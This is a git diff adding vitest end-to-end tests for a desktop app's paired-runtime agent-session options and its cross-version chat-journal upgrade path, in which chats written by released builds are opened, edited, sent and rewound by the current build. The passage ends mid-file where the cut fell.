00000000000..295c32f319b --- /dev/null +++ b/tests/e2e/cross-version-wire/paired-agent-session-option-persistence.unit.test.ts @@ -0,0 +1,270 @@ +import { afterEach, expect, it, vi } from 'vitest' +import { sendRemoteRuntimeRequest } from '../../../src/shared/remote-runtime/remote-runtime-client' +import { parsePairingCode } from '../../../src/shared/pairing' +import { pairedRuntimeConnectionFromOffer } from '../../../src/shared/paired-runtime-connection' +import { ELECTRON_REMOTE_RUNTIME_CLIENT_CAPABILITIES } from '../../../src/shared/electron-remote-runtime-client-capabilities' +import { OrcaRuntimeService } from '../../../src/main/runtime/orca-runtime' +import { OrcaRuntimeRpcServer } from '../../../src/main/runtime/runtime-rpc' +import { RuntimeClientSettingsController } from '../../../src/main/runtime/runtime-client-settings' +import type { RuntimeClientSettings } from '../../../src/main/runtime/runtime-client-settings-shape' +import { AgentModelCatalogStore } from '../../../src/main/native-chat/agent-model-catalog/agent-model-catalog-store' +import { createAgentModelCatalogService } from '../../../src/main/native-chat/agent-model-catalog/agent-model-catalog-service' +import { agentModelCatalogFingerprintForRecord } from '../../../src/main/native-chat/agent-model-catalog/agent-model-catalog-fingerprint' +import { CLIENT_UI_METHODS } from '../../../src/main/runtime/rpc/methods/client-ui' +import { STATUS_METHODS } from '../../../src/main/runtime/rpc/methods/status' +import { STRUCTURED_AGENT_SESSION_METHODS } from '../../../src/main/runtime/rpc/methods/structured-agent-session' +import { + createRestTestRig, + REST_TEST_SESSION +} from '../../../src/main/native-chat/agent-session-wire/structured-agent-session-rest-test-rig' +import { + hostTestAttachParams, + hostTestOperationId +} from '../../../src/main/native-chat/agent-session-wire/structured-agent-session-host-test-data' +import { setStructuredAgentSessionHost } from '../../../src/main/native-chat/agent-session-wire/structured-agent-session-registry' +import { computeAgentSessionPayloadFingerprint } from '../../../src/shared/agent-session-mutation-envelope' +import type { GlobalSettings } from '../../../src/shared/global-settings-types' +import { getDefaultSettings } from '../../../src/shared/constants' +import type { + AgentSessionMutationResult, + AgentSessionOptionResult, + AgentSessionOptionsResult +} from '../../../src/shared/agent-session-wire' +import { CODEX_SESSION_OPTION_CATALOG } from '../../../src/shared/agent-session-option-catalog-claude-codex' +import { + applyStructuredAgentSessionOptions, + createStructuredAgentSessionOptionState, + structuredAgentSessionOptionPicks, + structuredAgentSessionOptionSnapshot +} from '../../../src/shared/structured-agent-session-options' +import { + structuredAgentSessionOptionView, + structuredAgentSessionSendSelection +} from '../../../src/shared/structured-agent-session-option-view' +import { runtimeStub } from './structured-agent-session-surface-execution' +import { enqueueSessionOptionSettingsWrite } from '../../../src/renderer/src/components/native-chat/native-chat-session-option-settings-write' +import { clearRuntimeCompatibilityCacheForTests } from '../../../src/renderer/src/runtime/runtime-rpc-client' +import type { NativeChatSessionOptionSettingsMutation } from '../../../src/shared/native-chat/input/native-chat-session-options' + +const pairedPort = vi.hoisted(() => ({ call: vi.fn() })) +vi.mock('../../../src/renderer/src/runtime/runtime-rpc-environment-call', () => ({ + callRuntimeEnvironmentWithRevision: pairedPort.call +})) +afterEach(() => { + vi.unstubAllGlobals() + clearRuntimeCompatibilityCacheForTests() +}) + +it('pairs to host-owned options and persists only a genuine pick on that host', async () => { + const rig = await createRestTestRig({ idleSweep: { intervalMs: 3_600_000 } }) + rig.adapter.readOptions.mockResolvedValue({ models: [], current: {} }) + const catalogStore = new AgentModelCatalogStore() + const modelCatalog = createAgentModelCatalogService({ + store: catalogStore, + getConversation: (id) => rig.store.getConversation(id) ?? undefined, + getRecord: (id) => rig.store.getRecord(id) ?? undefined, + drivesRecord: () => true, + resolveAccountHome: async () => { + const record = rig.store.getRecord(REST_TEST_SESSION) + if (!record) { + throw new Error('attached host record missing') + } + return record.accountHome + } + }) + let settings = { ...getDefaultSettings(rig.root), experimentalNativeChat: true } + let localSettings: GlobalSettings = { + ...getDefaultSettings(rig.root), + nativeChatSessionOptions: { codex: { model: 'local-A', valuesByModel: {} } } + } + const localBefore = JSON.stringify(localSettings) + const localController = new RuntimeClientSettingsController({ + getSettings: () => localSettings, + updateSettings: (updates) => { + localSettings = { ...localSettings, ...updates } + } + }) + const localCall = vi.fn( + async ({ + method, + params + }: { + method: string + params: NativeChatSessionOptionSettingsMutation + }) => { + if (method === 'settings.mutateNativeChatSessionOptions') { + localController.updateNativeChatSessionOptions(params) + } + return { id: 'local', ok: true, result: {}, _meta: { runtimeId: 'local-A' } } + } + ) + vi.stubGlobal('window', { api: { runtime: { call: localCall } } }) + const updateSettings = vi.fn((updates: Partial) => { + settings = { ...settings, ...updates } + }) + const controller = new RuntimeClientSettingsController({ + getSettings: () => settings, + updateSettings + }) + const runtime = Object.assign(new OrcaRuntimeService(), runtimeStub(), { + getClientSettings: () => controller.get(), + updateClientNativeChatSessionOptions: controller.updateNativeChatSessionOptions.bind(controller) + }) + const server = new OrcaRuntimeRpcServer({ + runtime, + userDataPath: rig.root, + methods: [...STATUS_METHODS, ...CLIENT_UI_METHODS, ...STRUCTURED_AGENT_SESSION_METHODS], + enableWebSocket: true, + wsPort: 0 + }) + try { + await rig.restart({ modelCatalog }) + const attached = await rig.host.attach({ callerKey: 'founder' }, hostTestAttachParams(null)) + expect(attached.ok).toBe(true) + const acquisitionsAfterAttach = rig.adapter.acquire.mock.calls.length + const record = rig.store.getRecord(REST_TEST_SESSION) + if (!record) { + throw new Error('attached host record missing') + } + catalogStore.recordSuccess( + agentModelCatalogFingerprintForRecord(record), + 'codex', + { + origin: 'probe', + complete: true, + models: CODEX_SESSION_OPTION_CATALOG.models.map(({ id, label }) => ({ + id, + label, + isDefault: false, + efforts: [] + })) + }, + 'discovery' + ) + await modelCatalog.prepareSaved({ + agent: 'codex', + sessionId: REST_TEST_SESSION, + inSessionWorkspace: true + }) + setStructuredAgentSessionHost(rig.host) + await server.start() + const offer = server.createPairingOffer({ name: 'options-consumer', scope: 'runtime' }) + if (!offer.available) { + throw new Error('pairing unavailable') + } + const parsed = parsePairingCode(offer.pairingUrl) + if (!parsed) { + throw new Error('invalid pairing offer') + } + const connection = pairedRuntimeConnectionFromOffer(parsed) + pairedPort.call.mockImplementation(({ environmentId, method, params }) => { + expect(environmentId).toBe('paired-host-B') + return sendRemoteRuntimeRequest( + connection, + method, + params, + 5_000, + undefined, + undefined, + ELECTRON_REMOTE_RUNTIME_CLIENT_CAPABILITIES + ) + }) + const client = { + async call(method: string, params?: unknown) { + const response = await sendRemoteRuntimeRequest( + connection, + method, + params, + 5_000, + undefined, + undefined, + ELECTRON_REMOTE_RUNTIME_CLIENT_CAPABILITIES + ) + if (!response.ok) { + throw new Error(JSON.stringify(response.error)) + } + return response + } + } + const read = async () => + ( + await client.call('agentSession.options', { + sessionId: REST_TEST_SESSION + }) + ).result + const report = await read() + expect(rig.adapter.readOptions).toHaveBeenCalled() + expect(report.current.model).toBeUndefined() + expect(report.models.length).toBeGreaterThan(0) + expect(report.models.every((entry) => entry.isDefault === false)).toBe(true) + const seed = CODEX_SESSION_OPTION_CATALOG + const cold = applyStructuredAgentSessionOptions( + createStructuredAgentSessionOptionState('codex', seed), + seed, + report + ) + expect(structuredAgentSessionSendSelection(cold)).toBeUndefined() + expect(updateSettings).not.toHaveBeenCalled() + const model = report.models.find((entry) => entry.id !== '') + if (!model) { + throw new Error('host inventory missing') + } + const beforePending = structuredClone(cold.record) + const pending = structuredAgentSessionOptionView(cold, undefined, { model: model.id }) + expect( + structuredAgentSessionOptionSnapshot(pending).find((row) => row.id === 'model')?.kind + ).toMatchObject({ currentValue: model.id }) + expect(cold.record).toEqual(beforePending) + expect(structuredAgentSessionSendSelection(pending)).toBeUndefined() + expect(updateSettings).not.toHaveBeenCalled() + const fields = { key: 'model', value: model.id } + const picked = await client.call>( + 'agentSession.setOption', + { + ...fields, + envelope: { + sessionId: REST_TEST_SESSION, + clientOperationId: hostTestOperationId(), + expectedRuntimeFence: rig.store.getRecord(REST_TEST_SESSION)!.lease.runtimeFence, + payloadFingerprint: computeAgentSessionPayloadFingerprint({ + method: 'agentSession.setOption', + sessionId: REST_TEST_SESSION, + fields + }) + } + } + ) + if (!picked.result.ok) { + throw new Error(`pick refused: ${picked.result.refusal.code}`) + } + expect(picked.result.value.options).toMatchObject({ model: model.id }) + const picks = structuredAgentSessionOptionPicks(cold, picked.result.value.options ?? {}) + expect(picks).toContainEqual({ modelId: model.id, optionId: 'model', value: model.id }) + await enqueueSessionOptionSettingsWrite( + { kind: 'environment', environmentId: 'paired-host-B' }, + { type: 'apply-picks', agent: 'codex', picks } + ) + expect(settings.nativeChatSessionOptions).toMatchObject({ + codex: { model: model.id } + }) + expect(updateSettings).toHaveBeenCalledTimes(1) + const saved = await client.call<{ settings: RuntimeClientSettings }>('settings.get') + expect(saved.result.settings).toEqual(controller.get()) + expect(saved.result.settings).not.toHaveProperty('nativeChatSessionOptions') + expect(rig.store.getRecord(REST_TEST_SESSION)?.options?.model).toBe(model.id) + const shown = applyStructuredAgentSessionOptions(cold, seed, await read()) + expect( + structuredAgentSessionOptionSnapshot(shown).find((row) => row.id === 'model')?.kind + ).toMatchObject({ currentValue: model.id }) + // Codex uses host-owned options; per-send model overrides are Claude-only. + expect(structuredAgentSessionSendSelection(shown)).toBeUndefined() + expect(JSON.stringify(localSettings)).toBe(localBefore) + expect(localCall).not.toHaveBeenCalled() + expect(rig.adapter.acquire).toHaveBeenCalledTimes(acquisitionsAfterAttach) + } finally { + await server.stop() + modelCatalog.stop() + setStructuredAgentSessionHost(null) + await rig.dispose() + } +}) diff --git a/tests/e2e/cross-version-wire/release-checkout.ts b/tests/e2e/cross-version-wire/release-checkout.ts index f541ae5735d..759c68d96e9 100644 --- a/tests/e2e/cross-version-wire/release-checkout.ts +++ b/tests/e2e/cross-version-wire/release-checkout.ts @@ -74,6 +74,24 @@ export function resolveBaselineReleaseRef(): string { return latest } +/** The newest `count` stable desktop releases, newest first: the ones a downgrade can reach. */ +export function resolveRecentStableReleaseRefs(count: number): string[] { + let tags = git(['tag', '--list', 'v[0-9]*']).split('\n').filter(Boolean) + const recent: string[] = [] + while (recent.length < count) { + const latest = selectLatestStableReleaseTag(tags) + if (!latest) { + throw new Error( + `Cross-version harness found ${recent.length} of ${count} stable desktop release tags; ` + + 'a shallow CI clone needs `fetch-depth: 0`.' + ) + } + recent.push(latest) + tags = tags.filter((tag) => tag !== latest) + } + return recent +} + function resolveCommit(ref: string): string { try { return git(['rev-parse', `${ref}^{commit}`]) diff --git a/tests/e2e/cross-version-wire/released-chat-continuation.ts b/tests/e2e/cross-version-wire/released-chat-continuation.ts new file mode 100644 index 00000000000..561223ce309 --- /dev/null +++ b/tests/e2e/cross-version-wire/released-chat-continuation.ts @@ -0,0 +1,94 @@ +import { agentJournalLinkageFields } from '../../../src/shared/agent-session-journal-producer' +import { parseAgentJournalItemKey } from '../../../src/shared/agent-session-journal-item-key' +import type { AgentJournalMessageItem } from '../../../src/shared/agent-session-journal-types' +import type { JournalReplacementItem } from '../../../src/main/native-chat/agent-session-journal/journal-epoch-replacement' +import type { AgentSessionJournal } from '../../../src/main/native-chat/agent-session-journal/journal-store' + +// What a user does next with a chat a released build wrote: edit a card it queued (the first write, +// over a key the old rows hold), send, and rewind to before that send, which saves every kept message +// and card again. This build and a shipped build run the same steps. + +const FENCE = 1 + +export type ContinuedJournal = Pick< + AgentSessionJournal, + | 'queuedMessages' + | 'appendSubmission' + | 'resolveDispatch' + | 'replaceEpochItems' + | 'snapshot' + | 'itemBody' + | 'itemProvenance' +> + +const message = (text: string): AgentJournalMessageItem => ({ + kind: 'message', + role: 'user', + blocks: [{ type: 'text', text }] +}) + +/** The first write: an edit of a card the release queued and still holds. */ +export async function editReleasedCard(journal: ContinuedJournal): Promise { + const card = journal.queuedMessages.list().find((entry) => entry.messageId === 'card-2') + if (!card) { + throw new Error('the release queued no card-2') + } + const edited = await journal.queuedMessages.update({ + messageId: 'card-2', + expectedBodyFingerprint: card.fingerprint, + text: 'second, edited after the upgrade' + }) + if (edited.status !== 'updated') { + throw new Error(`the card edit was ${edited.status}`) + } +} + +export async function sendAfterUpgrade(journal: ContinuedJournal): Promise { + await journal.appendSubmission({ + clientMessageId: 'after-upgrade', + payloadFingerprint: 'fp-after-upgrade', + body: message('after the upgrade'), + fence: FENCE, + handoverRecorded: true, + origin: 'client', + source: { kind: 'user' } + }) + await journal.resolveDispatch({ + clientMessageId: 'after-upgrade', + fence: FENCE, + state: 'accepted', + providerIdentity: null + }) +} + +/** A rewind to before the send: every message the release wrote is kept, as rewind keeps them. */ +export async function rewindReleasedChat( + journal: ContinuedJournal, + keptItemIds: ReadonlySet +): Promise { + const kept = journal + .snapshot() + .items.filter((item) => keptItemIds.has(item.itemId)) + .map(({ itemId, observedAt, turnScope, ...linkage }): JournalReplacementItem => { + const body = journal.itemBody(itemId) + const identity = parseAgentJournalItemKey(itemId) + if (!body || !identity) { + throw new Error(`no kept item ${itemId}`) + } + const { ownerFence, executionOwner, ...echo } = journal.itemProvenance(itemId) + return { + identity, + ...echo, + body, + observedAt, + ...(turnScope ? { turnScope } : {}), + ownerFence: ownerFence ?? 0, + ...(executionOwner === undefined ? {} : { executionOwner }), + ...agentJournalLinkageFields(linkage) + } + }) + if (kept.length !== keptItemIds.size) { + throw new Error('a kept item is missing from the chat') + } + await journal.replaceEpochItems('handle_forked', FENCE, kept) +} diff --git a/tests/e2e/cross-version-wire/released-chat-queue.ts b/tests/e2e/cross-version-wire/released-chat-queue.ts new file mode 100644 index 00000000000..5cc8491b26a --- /dev/null +++ b/tests/e2e/cross-version-wire/released-chat-queue.ts @@ -0,0 +1,57 @@ +import type { AgentJournalMessageItem } from '../../../src/shared/agent-session-journal-types' +import { QUEUED_MESSAGE_PAUSED_SEND_FAILED } from '../../../src/shared/agent-session-queued-message-wire' +import type { AgentSessionJournal } from '../../../src/main/native-chat/agent-session-journal/journal-store' + +// Queue edits as each release's queue writes them: two cards, an edit, a move, a hold and a +// withdrawal. Releases before cards moved into the chat's rows kept them in a table of their own, +// with no edit or move. + +type TableQueue = { + insert: (input: { + messageId: string + body: AgentJournalMessageItem + fingerprint: string + hostInstance: string + }) => Promise + hold: (input: { messageIds: readonly string[]; reason: 'send_failed' }) => Promise + withdraw: (input: { messageIds: readonly string[]; settledByOp: string }) => Promise +} + +/** A table-backed queue answers an operation's replay from its stored rows. */ +function isTableQueue(queue: unknown): queue is TableQueue { + return typeof queue === 'object' && queue !== null && 'receipts' in queue +} + +const message = (text: string): AgentJournalMessageItem => ({ + kind: 'message', + role: 'user', + blocks: [{ type: 'text', text }] +}) + +export async function queueReleasedCards( + queue: AgentSessionJournal['queuedMessages'] +): Promise { + const table: unknown = queue + if (isTableQueue(table)) { + const card = { fingerprint: 'fp-card', hostInstance: 'host-instance-1' } + await table.insert({ ...card, messageId: 'card-1', body: message('later') }) + await table.insert({ ...card, messageId: 'card-2', body: message('second') }) + await table.hold({ messageIds: ['card-2'], reason: QUEUED_MESSAGE_PAUSED_SEND_FAILED }) + await table.withdraw({ messageIds: ['card-1'], settledByOp: 'withdraw-card-1' }) + return + } + const first = await queue.insert({ + messageId: 'card-1', + body: message('later'), + options: { model: 'model-1' } + }) + await queue.insert({ messageId: 'card-2', body: message('second') }) + await queue.update({ + messageId: 'card-1', + expectedBodyFingerprint: first.fingerprint, + text: 'later, edited' + }) + await queue.move({ messageId: 'card-2', beforeMessageId: 'card-1' }) + await queue.hold({ messageIds: ['card-2'], reason: QUEUED_MESSAGE_PAUSED_SEND_FAILED }) + await queue.withdraw(['card-1']) +} diff --git a/tests/e2e/cross-version-wire/released-chat-upgrade.unit.test.ts b/tests/e2e/cross-version-wire/released-chat-upgrade.unit.test.ts new file mode 100644 index 00000000000..be6ba97f883 --- /dev/null +++ b/tests/e2e/cross-version-wire/released-chat-upgrade.unit.test.ts @@ -0,0 +1,211 @@ +import { cpSync, mkdtempSync, rmSync } from 'node:fs' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, beforeEach, describe, expect, it } from 'vitest' +import { + closeTestJournalHostDatabase, + createTrackedJournalOpener, + liveTestJournalRows, + openTestJournalHostDatabase, + type TrackedJournalOpener +} from '../../../src/main/native-chat/agent-session-journal/journal-host-database-test-support' +import { restoreJournal } from '../../../src/main/native-chat/agent-session-journal/journal-open' +import { JOURNAL_PREFIX_ORDINAL } from '../../../src/main/native-chat/agent-session-journal/journal-outcome-codec' +import { journalOutcomeSource } from '../../../src/main/native-chat/agent-session-journal/journal-outcome-format' +import type { AgentJournalSnapshot } from '../../../src/shared/agent-session-journal-types' +import { parseJournalRow } from '../../../src/main/native-chat/agent-session-journal/journal-row-schema' +import type { JournalStoredRow } from '../../../src/main/native-chat/agent-session-journal/journal-row-table' +import { JournalWriteProjection } from '../../../src/main/native-chat/agent-session-journal/journal-write-projection' +import { resolveRecentStableReleaseRefs } from './release-checkout' +import { + editReleasedCard, + rewindReleasedChat, + sendAfterUpgrade, + type ContinuedJournal +} from './released-chat-continuation' +import { + identityOf, + releasedJournalOpener, + writeReleasedChat, + type Agent +} from './released-chat-writers' + +// Each release in the downgrade window, and the oldest release whose chat database this build still +// reads, writes a Claude and a Codex chat through its own writers. This build admits every row as +// written, opens the chat as that release had it, then edits a queued card (its first write, over +// a key the old rows hold), sends, and rewinds, which saves the kept chat again in this build's +// form. Every commit restores to the live chat. What this build does after the open is checked on +// its own result, never against a release, so main stays free to change it. +const SUITE_TIMEOUT_MS = 180_000 +const RELEASES = { + 'the newest release': () => resolveRecentStableReleaseRefs(2)[0]!, + 'the release before it': () => resolveRecentStableReleaseRefs(2)[1]!, + // The first release with one chat database per host (schema 3, the oldest this build opens); + // earlier releases kept a file per chat, which nothing reads any more. It never changes. + 'the oldest release with this chat database': () => 'v1.4.219' +} as const +type Written = Awaited> + +beforeEach(() => { + JournalWriteProjection.verifyEachCommit = true +}) +afterEach(() => { + JournalWriteProjection.verifyEachCommit = false +}) + +const view = (journal: ContinuedJournal) => ({ + snapshot: journal.snapshot(), + cards: [...journal.queuedMessages.list()] +}) + +/** What the release wrote: its items, sends and cards, in order. Fields a later build adds to them + * are not compared (`toMatchObject`), so main may add one; a changed value or order still fails. */ +const releaseWritten = ({ + snapshot, + cards +}: { + snapshot: AgentJournalSnapshot + cards: unknown[] +}) => ({ + items: snapshot.items, + submissions: snapshot.submissions, + cards +}) + +const kept = (items: ReturnType['items']) => + items.map(({ itemId, body }) => ({ itemId, body })) + +/** The chat as `opener`'s build opens it, over a copy so the original stays as the release left it. */ +async function openedBy(opener: TrackedJournalOpener, agent: Agent, stateDirectory: string) { + return opener + .open({ identity: identityOf(agent), stateDirectory }) + .then(view) + .finally(() => opener.closeAll()) +} + +/** Opens the chat, edits, sends and rewinds it, then reopens it; checks what the user sees. */ +async function carryOn( + opener: TrackedJournalOpener, + agent: Agent, + stateDirectory: string, + written: Written, + prefix?: JournalStoredRow[] +) { + const options = { + identity: identityOf(agent), + stateDirectory, + now: written.now, + mintEpoch: () => 'epoch-rewound' + } + const carried = await opener + .open(options) + .then(async (journal) => { + const opened = view(journal) + await editReleasedCard(journal) + if (prefix) { + // The release's rows stay byte for byte; one marker follows them, where records begin. + const database = openTestJournalHostDatabase(stateDirectory) + const rows = liveTestJournalRows(database.db, options.identity.sessionId) + expect(rows.slice(0, prefix.length)).toEqual(prefix) + expect(rows).toHaveLength(prefix.length + 1) + expect( + journalOutcomeSource(database.db, options.identity.sessionId, journal.epoch)?.prefix + ).toBe(prefix.length) + } + await sendAfterUpgrade(journal) + const sent = view(journal) + expect(sent.snapshot.submissions).toContainEqual( + expect.objectContaining({ clientMessageId: 'after-upgrade', dispatchState: 'accepted' }) + ) + await rewindReleasedChat(journal, new Set(opened.snapshot.items.map((item) => item.itemId))) + expect(journal.epoch).toBe('epoch-rewound') + const seen = view(journal) + // The rewind keeps every message the release wrote and every card not taken back, the edit + // included. + expect(kept(seen.snapshot.items)).toEqual(kept(opened.snapshot.items)) + expect(seen.cards.map((card) => card.messageId)).toEqual( + opened.cards.filter((card) => card.state !== 'withdrawn').map((card) => card.messageId) + ) + expect(seen.cards).toHaveLength(1) + for (const result of [sent, seen]) { + expect(result.cards.find((card) => card.messageId === 'card-2')?.body.blocks).toEqual([ + { type: 'text', text: 'second, edited after the upgrade' } + ]) + } + return { opened, seen } + }) + .finally(() => opener.closeAll()) + const reopened = await opener + .open(options) + .then(view) + .finally(() => opener.closeAll()) + expect(reopened).toEqual(carried.seen) + return carried +} + +describe('a chat a shipped release wrote, carried on by this build', () => { + it.each([ + ['the newest release', 'claude'], + ['the newest release', 'codex'], + ['the release before it', 'claude'], + ['the release before it', 'codex'], + ['the oldest release with this chat database', 'claude'], + ['the oldest release with this chat database', 'codex'] + ] as const)( + 'admits every row %s wrote for a %s chat, opens it as the newest release does, then edits, sends and rewinds it', + async (build, agent) => { + const directory = mkdtempSync(join(tmpdir(), 'orca-released-chat-upgrade-')) + const shipped = mkdtempSync(join(tmpdir(), 'orca-released-chat-shipped-')) + const identity = identityOf(agent) + try { + const written = await writeReleasedChat(RELEASES[build](), agent, directory) + // Anti-vacuous: the release's stream (beyond the two sends and the Stop turn), sends and + // queue all reached the chat. + expect(written.snapshot.items.length).toBeGreaterThan(3) + expect(written.snapshot.submissions.map((entry) => entry.clientMessageId)).toEqual( + expect.arrayContaining(['sent', 'refused']) + ) + expect(written.cards).toHaveLength(2) + + const database = openTestJournalHostDatabase(directory) + const rows = liveTestJournalRows(database.db, identity.sessionId) + expect(rows.filter((row) => !parseJournalRow(row.rowJson).ok)).toEqual([]) + // Anti-vacuous: the release wrote every row kind a chat holds (cards in their own table + // before they moved into the rows). + const kinds = new Set(rows.map((row) => JSON.parse(row.rowJson).kind)) + expect([...kinds].filter((kind) => kind !== 'queue').sort()).toEqual( + ['dispatch', 'epoch', 'item', 'lifecycle-batch', 'submission', 'tombstone'].sort() + ) + expect(kinds.has('queue')).toBe(build !== 'the oldest release with this chat database') + expect(restoreJournal(database.db, identity.sessionId)).toMatchObject({ + newer: null, + damage: null + }) + await closeTestJournalHostDatabase(directory) + cpSync(directory, shipped, { recursive: true }) + + const ours = await carryOn(createTrackedJournalOpener(), agent, directory, written, rows) + if (build !== 'the oldest release with this chat database') { + // A release in the window wrote the shapes this build reads, so it opens as written, + // and the edit records the card the old rows hold in its place among them. + expect(releaseWritten(ours.opened)).toMatchObject(releaseWritten(written)) + const edits = openTestJournalHostDatabase(directory) + .db.prepare(`SELECT ordinal FROM journal_outcomes + WHERE field = 'queue.cards' AND entry_key = '"card-2"'`) + .all() + expect(edits).toContainEqual({ ordinal: JOURNAL_PREFIX_ORDINAL }) + await closeTestJournalHostDatabase(directory) + } + // This build opens the chat as the newest release does. + const newest = await releasedJournalOpener(RELEASES['the newest release']()) + expect(releaseWritten(ours.opened)).toMatchObject( + releaseWritten(await openedBy(newest, agent, shipped)) + ) + } finally { + rmSync(directory, { recursive: true, force: true }) + rmSync(shipped, { recursive: true, force: true }) + } + }, + SUITE_TIMEOUT_MS + ) +}) diff --git a/tests/e2e/cross-version-wire/released-chat-writers.ts b/tests/e2e/cross-version-wire/released-chat-writers.ts new file mode 100644 index 00000000000..fff6bff1afa --- /dev/null +++ b/tests/e2e/cross-version-wire/released-chat-writers.ts @@ -0,0 +1,301 @@ +import { existsSync, readFileSync } from 'node:fs' +import { join } from 'node:path' +import { expect, vi } from 'vitest' +import { z } from 'zod' +import { + AGENT_JOURNAL_THREAD_SCOPE, + type AgentJournalMessageItem, + type AgentJournalSnapshot, + type AgentSessionJournalIdentity +} from '../../../src/shared/agent-session-journal-types' +import { + claudeProviderHandle, + codexProviderHandle +} from '../../../src/shared/agent-session-provider-handle-encoding' +import type { agentSessionFailureFact } from '../../../src/shared/agent-session-failure' +import type { agentSessionFailureWords } from '../../../src/shared/agent-session-failure-words' +import type { createClaudeJournalTranslator } from '../../../src/main/claude/claude-structured-journal-translation' +import type { createCodexJournalTranslator } from '../../../src/main/codex/codex-structured-journal-translation' +import type { createDeferredStructuredAgentSessionEventSink } from '../../../src/main/native-chat/agent-session-wire/structured-agent-session-event-sink' +import type { createTrackedJournalOpener } from '../../../src/main/native-chat/agent-session-journal/journal-host-database-test-support' +import { + importReleaseCheckoutModule, + materializeReleaseCheckout, + releaseModuleExport +} from './release-checkout' +import { queueReleasedCards } from './released-chat-queue' + +// A released build's own writers, for a chat as its host writes one: its translators fed its own +// captured provider streams, sends with their dispatch results, queue edits, Stop and Resume, a +// Stop settlement and a removed item. + +const JOURNAL = 'src/main/native-chat/agent-session-journal' +const FENCE = 1 + +export type Agent = 'claude' | 'codex' +type Opener = ReturnType +type Journal = Awaited> +type Released = Awaited> + +export const identityOf = (agent: Agent): AgentSessionJournalIdentity => ({ + sessionId: `session-released-${agent}`, + workspaceId: 'ws-1', + hostId: 'host-1', + agent, + providerHandle: + agent === 'codex' ? codexProviderHandle('thread-1') : claudeProviderHandle('claude-1', null) +}) + +async function released(ref: string) { + const checkout = await materializeReleaseCheckout(ref) + const load = async (path: string, name: string): Promise => + releaseModuleExport(await importReleaseCheckoutModule(checkout, path), name) + const fact = await load( + 'src/shared/agent-session-failure.ts', + 'agentSessionFailureFact' + ) + const words = await load( + 'src/shared/agent-session-failure-words.ts', + 'agentSessionFailureWords' + ) + return { + root: checkout.root, + opener: await load( + `${JOURNAL}/journal-host-database-test-support.ts`, + 'createTrackedJournalOpener' + ), + claude: await load( + 'src/main/claude/claude-structured-journal-translation.ts', + 'createClaudeJournalTranslator' + ), + codex: await load( + 'src/main/codex/codex-structured-journal-translation.ts', + 'createCodexJournalTranslator' + ), + sink: await load( + 'src/main/native-chat/agent-session-wire/structured-agent-session-event-sink.ts', + 'createDeferredStructuredAgentSessionEventSink' + ), + queueFull: () => words(fact('queueFull'), { surface: 'rejection' }), + /** Releases before Stop events record only the interrupted turn. */ + stopEvents: existsSync(join(checkout.root, JOURNAL, 'journal-stop-marks.ts')) + } +} + +const message = (text: string): AgentJournalMessageItem => ({ + kind: 'message', + role: 'user', + blocks: [{ type: 'text', text }] +}) + +/** Sends, their dispatch results and queue edits, as the host's send and queue paths write them. */ +async function sendsAndQueue(journal: Journal, release: Released): Promise { + await journal.appendSubmission({ + clientMessageId: 'sent', + payloadFingerprint: 'fp-sent', + body: message('sent'), + fence: FENCE, + handoverRecorded: true, + origin: 'client', + source: { kind: 'user' }, + options: { model: 'model-1', effort: 'high' } + }) + await journal.resolveDispatch({ + clientMessageId: 'sent', + fence: FENCE, + state: 'pending', + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + await journal.resolveDispatch({ + clientMessageId: 'sent', + fence: FENCE, + state: 'accepted', + providerIdentity: null + }) + await journal.appendSubmission({ + clientMessageId: 'refused', + payloadFingerprint: 'fp-refused', + body: message('refused'), + fence: FENCE + }) + await journal.resolveDispatch({ + clientMessageId: 'refused', + fence: FENCE, + state: 'rejected', + ...release.queueFull() + }) + await queueReleasedCards(journal.queuedMessages) +} + +const claudeCapture = z.object({ at: z.number(), frame: z.record(z.string(), z.unknown()) }) +const codexCapture = z.object({ + case: z.string(), + t: z.number(), + method: z.string(), + params: z.record(z.string(), z.unknown()) +}) + +function capture(release: Released, path: string): unknown[] { + return readFileSync(join(release.root, path), 'utf8') + .trim() + .split('\n') + .map((line) => JSON.parse(line)) +} + +/** The release's translator, fed its own captured provider stream, writes through its event sink. */ +async function stream( + release: Released, + agent: Agent, + journal: Journal, + clock: { at: number } +): Promise { + const sessionId = identityOf(agent).sessionId + const failed = vi.fn() + const sink = release.sink({ + sessionId, + logger: { warn: vi.fn(), error: vi.fn() }, + onFailed: failed + }) + sink.bind({ journal, fence: FENCE, publish: () => undefined }) + const pending = new Set<() => void>() + const schedule = (run: () => void) => { + pending.add(run) + return () => { + pending.delete(run) + } + } + const flush = async (translator: { flush: () => void }) => { + translator.flush() + const runs = [...pending] + pending.clear() + for (const run of runs) { + run() + } + expect(await sink.drained()).toEqual({ ok: true }) + } + try { + if (agent === 'claude') { + const translator = release.claude({ sink: sink.sink, schedule }) + for (const line of capture( + release, + 'src/main/claude/__fixtures__/claude-adapter-capture-miss.jsonl' + )) { + const record = claudeCapture.safeParse(line) + if (record.success) { + clock.at = 1_000 + record.data.at + translator.handle({ + type: 'message', + sessionId, + message: record.data.frame, + observedAt: clock.at + }) + await flush(translator) + } + } + translator.dispose() + } else { + const translator = release.codex({ sink: sink.sink, schedule, now: () => clock.at }) + const records = capture( + release, + 'src/main/codex/__fixtures__/codex-app-server-turn-endings.jsonl' + ) + .map((line) => codexCapture.parse(line)) + .filter((record) => record.case === '0.158.0-control') + expect(records.length).toBeGreaterThan(0) + for (const record of records) { + clock.at = 1_000 + record.t + const threadId = + typeof record.params.threadId === 'string' ? record.params.threadId : 'thread-1' + translator.handle({ + type: 'notification', + sessionId, + threadId, + method: record.method, + params: record.params, + observedAt: clock.at + }) + await flush(translator) + } + translator.dispose() + } + expect(failed).not.toHaveBeenCalled() + } finally { + sink.close() + } +} + +/** A Stop with its settlement, a Resume, and an item later removed. */ +async function stopAndRemove( + journal: Journal, + release: Released, + clock: { at: number } +): Promise { + const stopped = { provider: 'orca', clientMessageId: 'stopped-turn' } as const + const scope = { fence: FENCE, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + await journal.appendItem(stopped, { kind: 'turn', turnId: 'stop-turn', state: 'running' }, scope) + if (release.stopEvents) { + await journal.appendStopEvent({ reason: 'user-stop', turnId: 'stop-turn' }, FENCE) + } + const settle = release.stopEvents ? journal.stopMarks.beginSettle(true) : undefined + await journal.appendLifecycleBatch({ + settlementId: 'stop-settlement', + fence: FENCE, + mutations: [ + { + kind: 'item', + identity: stopped, + body: { + kind: 'turn', + turnId: 'stop-turn', + state: 'interrupted', + completedAt: 